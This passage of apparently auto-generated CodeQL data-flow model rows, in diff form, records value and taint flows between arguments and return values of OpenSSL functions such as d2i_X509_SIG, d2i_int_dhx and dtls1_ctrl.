"df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_bio", "(BIO *,X509_REQ **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REQ_fp", "(FILE *,X509_REQ **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "dgst_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "dgst_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "dhparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "dhparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "do_X509_REQ_verify", "(X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "do_X509_verify", "(X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "do_dtls1_write", "(SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "do_handshake", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *)", "", "Argument[1]", "Argument[*0].Field[*client_hello_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "do_handshake", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "do_ssl_shutdown", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "do_updatedb", "(CA_DB *,time_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "doit_biopair", "(SSL *,SSL *,long,clock_t *,clock_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "doit_biopair", "(SSL *,SSL *,long,clock_t *,clock_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "doit_localhost", "(SSL *,SSL *,int,long,clock_t *,clock_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "doit_localhost", "(SSL *,SSL *,int,long,clock_t *,clock_t *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "dsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "dsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "dsaparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "dsaparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "dtls1_close_construct_packet", "(SSL_CONNECTION *,WPACKET *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[*ext].Field[***debug_arg]", "value", "dfc-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "dtls1_get_message_header", "(const unsigned char *,hm_header_st *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "dtls1_get_message_header", "(const unsigned char *,hm_header_st *)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "dtls1_get_queue_priority", "(unsigned short,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "dtls1_get_queue_priority", "(unsigned short,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "dtls1_get_timeout", "(const SSL_CONNECTION *,OSSL_TIME *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "dtls1_query_mtu", "(SSL_CONNECTION *)", "", "Argument[*0].Field[**d1].Field[*link_mtu]", "Argument[*0].Field[**d1].Field[*mtu]", "taint", "dfc-generated"] + - ["", "", True, "dtls1_read_bytes", "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)", "", "Argument[4]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "dtls1_read_failed", "(SSL_CONNECTION *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "dtls1_set_handshake_header", "(SSL_CONNECTION *,WPACKET *,int)", "", "Argument[*0].Field[**d1].Field[*next_handshake_write_seq]", "Argument[*0].Field[**d1].Field[*handshake_write_seq]", "value", "dfc-generated"] + - ["", "", True, "dtls1_set_message_header", "(SSL_CONNECTION *,unsigned char,size_t,size_t,size_t)", "", "Argument[*0].Field[**d1].Field[*next_handshake_write_seq]", "Argument[*0].Field[**d1].Field[*handshake_write_seq]", "value", "dfc-generated"] + - ["", "", True, "dtls1_write_app_data_bytes", "(SSL *,uint8_t,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "dtls1_write_bytes", "(SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "dtls_construct_hello_verify_request", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "dtls_get_message", "(SSL_CONNECTION *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "dtls_get_message_body", "(SSL_CONNECTION *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "dtls_post_encryption_processing", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "dtls_post_encryption_processing", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, 